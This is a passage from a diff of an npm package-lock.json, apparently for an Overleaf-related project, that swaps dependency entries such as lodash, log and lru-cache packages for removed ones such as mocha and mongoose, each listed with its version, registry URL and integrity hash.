++ "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=",
++ "dev": true
++ },
++ "lodash.includes": {
++ "version": "4.3.0",
++ "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz",
++ "integrity": "sha1-YLuYqHy5I8aMoeUTJUgzFISfVT8="
++ },
++ "lodash.isarguments": {
++ "version": "3.1.0",
++ "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz",
++ "integrity": "sha1-L1c9hcaiQon/AGY7SRwdM4/zRYo="
++ },
++ "lodash.isboolean": {
++ "version": "3.0.3",
++ "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz",
++ "integrity": "sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY="
++ },
++ "lodash.isequal": {
++ "version": "4.5.0",
++ "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz",
++ "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=",
++ "dev": true
++ },
++ "lodash.isinteger": {
++ "version": "4.0.4",
++ "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz",
++ "integrity": "sha1-YZwK89A/iwTDH1iChAt3sRzWg0M="
++ },
++ "lodash.isnumber": {
++ "version": "3.0.3",
++ "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz",
++ "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w="
++ },
++ "lodash.isplainobject": {
++ "version": "4.0.6",
++ "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
++ "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs="
+ },
+- "minimalistic-assert": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz",
+- "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==",
+- "devOptional": true
++ "lodash.isstring": {
++ "version": "4.0.1",
++ "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz",
++ "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE="
+ },
+- "minimatch": {
+- "version": "3.0.4",
+- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
+- "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
+- "requires": {
+- "brace-expansion": "^1.1.7"
+- }
++ "lodash.memoize": {
++ "version": "4.1.2",
++ "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
++ "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=",
++ "dev": true
+ },
+- "minimist": {
+- "version": "0.0.8",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz",
+- "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0="
++ "lodash.merge": {
++ "version": "4.6.2",
++ "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
++ "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
++ "dev": true
+ },
+- "minipass": {
+- "version": "3.1.6",
+- "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.6.tgz",
+- "integrity": "sha512-rty5kpw9/z8SX9dmxblFA6edItUmwJgMeYDZRrwlIVN27i8gysGbznJwUggw2V/FVqFSDdWy040ZPS811DYAqQ==",
+- "requires": {
+- "yallist": "^4.0.0"
+- },
+- "dependencies": {
+- "yallist": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+- }
+- }
++ "lodash.omit": {
++ "version": "4.5.0",
++ "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz",
++ "integrity": "sha1-brGa5aHuHdnfC5aeZs4Lf6MLXmA=",
++ "dev": true
+ },
+- "minizlib": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
+- "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
+- "requires": {
+- "minipass": "^3.0.0",
+- "yallist": "^4.0.0"
+- },
+- "dependencies": {
+- "yallist": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+- }
+- }
++ "lodash.once": {
++ "version": "4.1.1",
++ "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz",
++ "integrity": "sha1-DdOXEhPHxW34gJd9UEyI+0cal6w="
+ },
+- "mirror_documentation": {
+- "version": "file:jobs/mirror-documentation",
+- "requires": {
+- "bluebird": "^3.5.3",
+- "glob": "^7.1.3",
+- "googleapis": "^39.1.0",
+- "node-fetch": "^2.6.7",
+- "overleaf-editor-core": "*",
+- "swagger-client": "^3.8.24",
+- "tmp": "0.0.33"
+- },
+- "dependencies": {
+- "tmp": {
+- "version": "0.0.33",
+- "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
+- "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
+- "requires": {
+- "os-tmpdir": "~1.0.2"
+- }
+- }
+- }
++ "lodash.padend": {
++ "version": "4.6.1",
++ "resolved": "https://registry.npmjs.org/lodash.padend/-/lodash.padend-4.6.1.tgz",
++ "integrity": "sha1-U8y6BH0G4VjTEfRdpiX05J5vFm4=",
++ "dev": true
+ },
+- "mixin-deep": {
+- "version": "1.3.2",
+- "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
+- "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
+- "requires": {
+- "for-in": "^1.0.2",
+- "is-extendable": "^1.0.1"
+- },
+- "dependencies": {
+- "is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "requires": {
+- "is-plain-object": "^2.0.4"
+- }
+- }
+- }
++ "lodash.pick": {
++ "version": "4.4.0",
++ "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz",
++ "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=",
++ "dev": true
+ },
+- "mixme": {
+- "version": "0.5.4",
+- "resolved": "https://registry.npmjs.org/mixme/-/mixme-0.5.4.tgz",
+- "integrity": "sha512-3KYa4m4Vlqx98GPdOHghxSdNtTvcP8E0kkaJ5Dlh+h2DRzF7zpuVVcA8B0QpKd11YJeP9QQ7ASkKzOeu195Wzw=="
++ "lodash.set": {
++ "version": "4.3.2",
++ "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz",
++ "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=",
++ "dev": true
++ },
++ "lodash.sortby": {
++ "version": "4.7.0",
++ "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
++ "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=",
++ "dev": true
+ },
+- "mixpanel": {
+- "version": "0.13.0",
+- "resolved": "https://registry.npmjs.org/mixpanel/-/mixpanel-0.13.0.tgz",
+- "integrity": "sha512-YOWmpr/o4+zJ8LPjuLUkWLc2ImFeIkX6hF1t62Wlvq6loC6e8EK8qieYO4gYPTPxxtjAryl7xmIvf/7qnPwjrQ==",
++ "lodash.template": {
++ "version": "4.5.0",
++ "resolved": "https://registry.npmjs.org/lodash.template/-/lodash.template-4.5.0.tgz",
++ "integrity": "sha512-84vYFxIkmidUiFxidA/KjjH9pAycqW+h980j7Fuz5qxRtO9pgB7MDFTdys1N7A5mcucRiDyEq4fusljItR1T/A==",
++ "dev": true,
+ "requires": {
+- "https-proxy-agent": "5.0.0"
++ "lodash._reinterpolate": "^3.0.0",
++ "lodash.templatesettings": "^4.0.0"
+ }
+ },
+- "mkdirp": {
+- "version": "0.5.1",
+- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz",
+- "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=",
++ "lodash.templatesettings": {
++ "version": "4.2.0",
++ "resolved": "https://registry.npmjs.org/lodash.templatesettings/-/lodash.templatesettings-4.2.0.tgz",
++ "integrity": "sha512-stgLz+i3Aa9mZgnjr/O+v9ruKZsPsndy7qPZOchbqk2cnTU1ZaldKK+v7m54WoKIyxiuMZTKT2H81F8BeAc3ZQ==",
++ "dev": true,
+ "requires": {
+- "minimist": "0.0.8"
++ "lodash._reinterpolate": "^3.0.0"
+ }
+ },
+- "mkdirp-classic": {
+- "version": "0.5.3",
+- "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",
+- "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A=="
++ "lodash.throttle": {
++ "version": "4.1.1",
++ "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz",
++ "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ="
+ },
+- "mkdirp2": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/mkdirp2/-/mkdirp2-1.0.5.tgz",
+- "integrity": "sha512-xOE9xbICroUDmG1ye2h4bZ8WBie9EGmACaco8K8cx6RlkJJrxGIqjGqztAI+NMhexXBcdGbSEzI6N3EJPevxZw==",
+- "dev": true
++ "lodash.union": {
++ "version": "4.6.0",
++ "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz",
++ "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg="
+ },
+- "mmdb-lib": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/mmdb-lib/-/mmdb-lib-2.0.2.tgz",
+- "integrity": "sha512-shi1I+fCPQonhTi7qyb6hr7hi87R7YS69FlfJiMFuJ12+grx0JyL56gLNzGTYXPU7EhAPkMLliGeyHer0K+AVA=="
++ "lodash.uniq": {
++ "version": "4.5.0",
++ "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
++ "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=",
++ "dev": true
+ },
+- "mmmagic": {
+- "version": "0.5.3",
+- "resolved": "https://registry.npmjs.org/mmmagic/-/mmmagic-0.5.3.tgz",
+- "integrity": "sha512-xLqCu7GJYTzJczg0jafXFuh+iPzQL/ru0YYf4GiTTz8Cehru/wiXtUS8Pp8Xi77zNaiVndJ0OO1yAFci6iHyFg==",
++ "log": {
++ "version": "6.3.1",
++ "resolved": "https://registry.npmjs.org/log/-/log-6.3.1.tgz",
++ "integrity": "sha512-McG47rJEWOkXTDioZzQNydAVvZNeEkSyLJ1VWkFwfW+o1knW+QSi8D1KjPn/TnctV+q99lkvJNe1f0E1IjfY2A==",
+ "requires": {
+- "nan": "^2.13.2"
++ "d": "^1.0.1",
++ "duration": "^0.2.2",
++ "es5-ext": "^0.10.53",
++ "event-emitter": "^0.3.5",
++ "sprintf-kit": "^2.0.1",
++ "type": "^2.5.0",
++ "uni-global": "^1.0.0"
+ }
+ },
+- "mocha": {
+- "version": "8.4.0",
+- "resolved": "https://registry.npmjs.org/mocha/-/mocha-8.4.0.tgz",
+- "integrity": "sha512-hJaO0mwDXmZS4ghXsvPVriOhsxQ7ofcpQdm8dE+jISUOKopitvnXFQmpRR7jd2K6VBG6E26gU3IAbXXGIbu4sQ==",
++ "log-driver": {
++ "version": "1.2.7",
++ "resolved": "https://registry.npmjs.org/log-driver/-/log-driver-1.2.7.tgz",
++ "integrity": "sha512-U7KCmLdqsGHBLeWqYlFA0V0Sl6P08EE1ZrmA9cxjUE0WVqT9qnyVDPz1kzpFEP0jdJuFnasWIfSd7fsaNXkpbg=="
++ },
++ "log-symbols": {
++ "version": "4.1.0",
++ "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz",
++ "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==",
+ "dev": true,
+ "requires": {
+- "@ungap/promise-all-settled": "1.1.2",
+- "ansi-colors": "4.1.1",
+- "browser-stdout": "1.3.1",
+- "chokidar": "3.5.1",
+- "debug": "4.3.1",
+- "diff": "5.0.0",
+- "escape-string-regexp": "4.0.0",
+- "find-up": "5.0.0",
+- "glob": "7.1.6",
+- "growl": "1.10.5",
+- "he": "1.2.0",
+- "js-yaml": "4.0.0",
+- "log-symbols": "4.0.0",
+- "minimatch": "3.0.4",
+- "ms": "2.1.3",
+- "nanoid": "3.1.20",
+- "serialize-javascript": "5.0.1",
+- "strip-json-comments": "3.1.1",
+- "supports-color": "8.1.1",
+- "which": "2.0.2",
+- "wide-align": "1.1.3",
+- "workerpool": "6.1.0",
+- "yargs": "16.2.0",
+- "yargs-parser": "20.2.4",
+- "yargs-unparser": "2.0.0"
++ "chalk": "^4.1.0",
++ "is-unicode-supported": "^0.1.0"
+ },
+ "dependencies": {
+ "ansi-styles": {
+@@ -57588,319 +46077,302 @@
+ "requires": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+- },
+- "dependencies": {
+- "supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+- "dev": true,
+- "requires": {
+- "has-flag": "^4.0.0"
+- }
+- }
+- }
+- },
+- "chokidar": {
+- "version": "3.5.1",
+- "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz",
+- "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==",
+- "dev": true,
+- "requires": {
+- "anymatch": "~3.1.1",
+- "braces": "~3.0.2",
+- "fsevents": "~2.3.1",
+- "glob-parent": "~5.1.0",
+- "is-binary-path": "~2.1.0",
+- "is-glob": "~4.0.1",
+- "normalize-path": "~3.0.0",
+- "readdirp": "~3.5.0"
+- }
+- },
+- "debug": {
+- "version": "4.3.1",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+- "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+- "dev": true,
+- "requires": {
+- "ms": "2.1.2"
+- },
+- "dependencies": {
+- "ms": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+- "dev": true
+- }
+- }
+- },
+- "glob": {
+- "version": "7.1.6",
+- "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz",
+- "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==",
+- "dev": true,
+- "requires": {
+- "fs.realpath": "^1.0.0",
+- "inflight": "^1.0.4",
+- "inherits": "2",
+- "minimatch": "^3.0.4",
+- "once": "^1.3.0",
+- "path-is-absolute": "^1.0.0"
+- }
+- },
+- "js-yaml": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.0.0.tgz",
+- "integrity": "sha512-pqon0s+4ScYUvX30wxQi3PogGFAlUyH0awepWvwkj4jD4v+ova3RiYw8bmA6x2rDrEaj8i/oWKoRxpVNW+Re8Q==",
+- "dev": true,
+- "requires": {
+- "argparse": "^2.0.1"
+- }
+- },
+- "log-symbols": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.0.0.tgz",
+- "integrity": "sha512-FN8JBzLx6CzeMrB0tg6pqlGU1wCrXW+ZXGH481kfsBqer0hToTIiHdjH4Mq8xJUbvATujKCvaREGWpGUionraA==",
+- "dev": true,
+- "requires": {
+- "chalk": "^4.0.0"
+- }
+- },
+- "nanoid": {
+- "version": "3.1.20",
+- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.20.tgz",
+- "integrity": "sha512-a1cQNyczgKbLX9jwbS/+d7W8fX/RfgYR7lVWwWOGIPNgK2m0MWvrGF6/m4kk6U3QcFMnZf3RIhL0v2Jgh/0Uxw==",
+- "dev": true
+- },
+- "randombytes": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
+- "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+- "dev": true,
+- "requires": {
+- "safe-buffer": "^5.1.0"
+ }
+ },
+- "readdirp": {
+- "version": "3.5.0",
+- "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz",
+- "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==",
++ "supports-color": {
++ "version": "7.2.0",
++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
++ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+- "picomatch": "^2.2.1"
++ "has-flag": "^4.0.0"
+ }
+- },
+- "serialize-javascript": {
+- "version": "5.0.1",
+- "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-5.0.1.tgz",
+- "integrity": "sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA==",
++ }
++ }
++ },
++ "log-update": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/log-update/-/log-update-4.0.0.tgz",
++ "integrity": "sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==",
++ "dev": true,
++ "requires": {
++ "ansi-escapes": "^4.3.0",
++ "cli-cursor": "^3.1.0",
++ "slice-ansi": "^4.0.0",
++ "wrap-ansi": "^6.2.0"
++ },
++ "dependencies": {
++ "ansi-styles": {
++ "version": "4.3.0",
++ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
++ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+- "randombytes": "^2.1.0"
++ "color-convert": "^2.0.1"
+ }
+ },
+- "workerpool": {
+- "version": "6.1.0",
+- "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.1.0.tgz",
+- "integrity": "sha512-toV7q9rWNYha963Pl/qyeZ6wG+3nnsyvolaNUS8+R5Wtw6qJPTxIlOP1ZSvcGhEJw+l3HMMmtiNo9Gl61G4GVg==",
+- "dev": true
+- },
+- "yargs": {
+- "version": "16.2.0",
+- "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
+- "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
++ "wrap-ansi": {
++ "version": "6.2.0",
++ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
++ "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
+ "dev": true,
+ "requires": {
+- "cliui": "^7.0.2",
+- "escalade": "^3.1.1",
+- "get-caller-file": "^2.0.5",
+- "require-directory": "^2.1.1",
+- "string-width": "^4.2.0",
+- "y18n": "^5.0.5",
+- "yargs-parser": "^20.2.2"
++ "ansi-styles": "^4.0.0",
++ "string-width": "^4.1.0",
++ "strip-ansi": "^6.0.0"
+ }
+ }
+ }
+ },
+- "mock-fs": {
+- "version": "5.1.2",
+- "resolved": "https://registry.npmjs.org/mock-fs/-/mock-fs-5.1.2.tgz",
+- "integrity": "sha512-YkjQkdLulFrz0vD4BfNQdQRVmgycXTV7ykuHMlyv+C8WCHazpkiQRDthwa02kSyo8wKnY9wRptHfQLgmf0eR+A==",
+- "dev": true
++ "log4js": {
++ "version": "6.4.1",
++ "resolved": "https://registry.npmjs.org/log4js/-/log4js-6.4.1.tgz",
++ "integrity": "sha512-iUiYnXqAmNKiIZ1XSAitQ4TmNs8CdZYTAWINARF3LjnsLN8tY5m0vRwd6uuWj/yNY0YHxeZodnbmxKFUOM2rMg==",
++ "dev": true,
++ "requires": {
++ "date-format": "^4.0.3",
++ "debug": "^4.3.3",
++ "flatted": "^3.2.4",
++ "rfdc": "^1.3.0",
++ "streamroller": "^3.0.2"
++ }
+ },
+- "module-details-from-path": {
+- "version": "1.0.3",
+- "resolved": "https://registry.npmjs.org/module-details-from-path/-/module-details-from-path-1.0.3.tgz",
+- "integrity": "sha1-EUyUlnPiqKNenTV4hSeqN7Z52is="
++ "long": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz",
++ "integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA=="
+ },
+- "moment": {
+- "version": "2.29.4",
+- "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz",
+- "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w=="
++ "loose-envify": {
++ "version": "1.4.0",
++ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
++ "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
++ "requires": {
++ "js-tokens": "^3.0.0 || ^4.0.0"
++ }
+ },
+- "moment-timezone": {
+- "version": "0.5.34",
+- "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.34.tgz",
+- "integrity": "sha512-3zAEHh2hKUs3EXLESx/wsgw6IQdusOT8Bxm3D9UrHPQR7zlMmzwybC8zHEM1tQ4LJwP7fcxrWr8tuBg05fFCbg==",
++ "loupe": {
++ "version": "2.3.1",
++ "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.1.tgz",
++ "integrity": "sha512-EN1D3jyVmaX4tnajVlfbREU4axL647hLec1h/PXAb8CPDMJiYitcWF2UeLVNttRqaIqQs4x+mRvXf+d+TlDrCA==",
++ "dev": true,
+ "requires": {
+- "moment": ">= 2.9.0"
++ "get-func-name": "^2.0.0"
+ }
+ },
+- "mongo-uri": {
+- "version": "0.1.2",
+- "resolved": "https://registry.npmjs.org/mongo-uri/-/mongo-uri-0.1.2.tgz",
+- "integrity": "sha1-FzrwFAMzkALgq9C01nWYfTzc+Z4="
++ "lower-case": {
++ "version": "2.0.2",
++ "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
++ "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
++ "dev": true,
++ "requires": {
++ "tslib": "^2.0.3"
++ }
+ },
+- "mongodb": {
+- "version": "3.7.3",
+- "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-3.7.3.tgz",
+- "integrity": "sha512-Psm+g3/wHXhjBEktkxXsFMZvd3nemI0r3IPsE0bU+4//PnvNWKkzhZcEsbPcYiWqe8XqXJJEg4Tgtr7Raw67Yw==",
++ "lru_map": {
++ "version": "0.3.3",
++ "resolved": "https://registry.npmjs.org/lru_map/-/lru_map-0.3.3.tgz",
++ "integrity": "sha1-tcg1G5Rky9dQM1p5ZQoOwOVhGN0="
++ },
++ "lru-cache": {
++ "version": "5.1.1",
++ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
++ "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+ "requires": {
+- "bl": "^2.2.1",
+- "bson": "^1.1.4",
+- "denque": "^1.4.1",
+- "optional-require": "^1.1.8",
+- "safe-buffer": "^5.1.2",
+- "saslprep": "^1.0.0"
++ "yallist": "^3.0.2"
+ }
+ },
+- "mongoose": {
+- "version": "5.13.14",
+- "resolved": "https://registry.npmjs.org/mongoose/-/mongoose-5.13.14.tgz",
+- "integrity": "sha512-j+BlQjjxgZg0iWn42kLeZTB91OejcxWpY2Z50bsZTiKJ7HHcEtcY21Godw496GMkBqJMTzmW7G/kZ04mW+Cb7Q==",
++ "lru-cache-for-clusters-as-promised": {
++ "version": "1.7.4",
++ "resolved": "https://registry.npmjs.org/lru-cache-for-clusters-as-promised/-/lru-cache-for-clusters-as-promised-1.7.4.tgz",
++ "integrity": "sha512-7A+O3nSLQZua1Et9MTuKP7Tl7Zo2L5OucBafTsmAXHQ7M9whxforWoM2RsX25sP3HmaVwF7D7Eg64o6iqAuZkw==",
+ "requires": {
+- "@types/bson": "1.x || 4.0.x",
+- "@types/mongodb": "^3.5.27",
+- "bson": "^1.1.4",
+- "kareem": "2.3.2",
+- "mongodb": "3.7.3",
+- "mongoose-legacy-pluralize": "1.0.2",
+- "mpath": "0.8.4",
+- "mquery": "3.2.5",
+- "ms": "2.1.2",
+- "optional-require": "1.0.x",
+- "regexp-clone": "1.0.0",
+- "safe-buffer": "5.2.1",
+- "sift": "13.5.2",
+- "sliced": "1.0.1"
++ "cron": "1.8.2",
++ "debug": "4.3.3",
++ "lru-cache": "6.0.0",
++ "uuid": "8.3.2"
++ },
++ "dependencies": {
++ "lru-cache": {
++ "version": "6.0.0",
++ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
++ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
++ "requires": {
++ "yallist": "^4.0.0"
++ }
++ },
++ "uuid": {
++ "version": "8.3.2",
++ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
++ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="
++ },
++ "yallist": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
++ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
++ }
++ }
++ },
++ "lz-string": {
++ "version": "1.4.4",
++ "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.4.4.tgz",
++ "integrity": "sha1-wNjq82BZ9wV5bh40SBHPTEmNOiY=",
++ "dev": true
++ },
++ "mailchimp-api-v3": {
++ "version": "1.15.0",
++ "resolved": "https://registry.npmjs.org/mailchimp-api-v3/-/mailchimp-api-v3-1.15.0.tgz",
